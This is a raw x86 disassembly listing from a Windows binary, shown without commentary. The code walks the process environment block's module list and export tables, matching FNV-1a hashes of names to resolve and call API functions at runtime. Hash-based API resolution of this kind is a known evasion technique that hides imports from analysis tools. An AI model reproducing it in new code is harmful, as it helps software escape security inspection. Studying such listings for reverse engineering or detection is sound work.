call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov ecx, dword [ebp - 0x10c]
test ecx, ecx
je 0x444437
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x444444
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
cmp dword [ebp - 0x1b8], 0
je 0x444586
mov ebx, dword [0x4f07d0]
test ebx, ebx
jne 0x4444e6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4444cd
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x444495
cmp eax, 0x733d6d1e
je 0x4448d1
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x4444de
cmp dword [ecx + 0x18], 0
jne 0x444477
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f07e0]
test eax, eax
jne 0x44457e
test ebx, ebx
je 0x444577
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x444577
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x444577
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x444565
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x444530
mov ecx, dword [ebp - 4]
cmp edi, 0x8782d795
je 0x4448dc
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x444520
xor eax, eax
mov dword [0x4f07e0], eax
push dword [ebp - 0x1b8]
call eax
mov ecx, dword [ebp - 0x100]
test ecx, ecx
je 0x444596
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x104]
test ecx, ecx
je 0x4445a6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
cmp dword [ebp - 0x10], 0
je 0x4446e3
mov ebx, dword [0x4f07d0]
test ebx, ebx
jne 0x444645
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44462c
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4445f4
cmp eax, 0x733d6d1e
je 0x4448f9
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44463d
cmp dword [ecx + 0x18], 0
jne 0x4445d6
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f07e0]
test eax, eax
jne 0x4446de
test ebx, ebx
je 0x4446d7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4446d7
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x4446d7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4446c5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x444690
mov ecx, dword [ebp - 4]
cmp edi, 0x8782d795
je 0x444904
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x444680
xor eax, eax
mov dword [0x4f07e0], eax
push dword [ebp - 0x10]
call eax
cmp dword [ebp - 0x14], 0
je 0x444822
mov ebx, dword [0x4f07d0]
test ebx, ebx
jne 0x444782
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x444769
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x444731
cmp eax, 0x733d6d1e
je 0x444921
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44477a
cmp dword [ecx + 0x18], 0
jne 0x444713
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f07e0]
test eax, eax
jne 0x44481d
test ebx, ebx
je 0x444816
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x444816
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x444816
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x444804
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4447d1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
cmp edi, 0x8782d795
je 0x44492c
mov eax, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4447c0
xor eax, eax
mov dword [0x4f07e0], eax
push dword [ebp - 0x14]
call eax
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x44482f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x44483d
mov ecx, eax
call fcn.004bb000
mov ecx, dword [ebp - 0x108]
test ecx, ecx
je 0x44484d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4435db
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x44366e
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax + 0x18]
jmp 0x44391f
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4439b9
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44419b
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x444239
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x4444e0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x444579
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44463f
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4446d9
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44477c
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x444818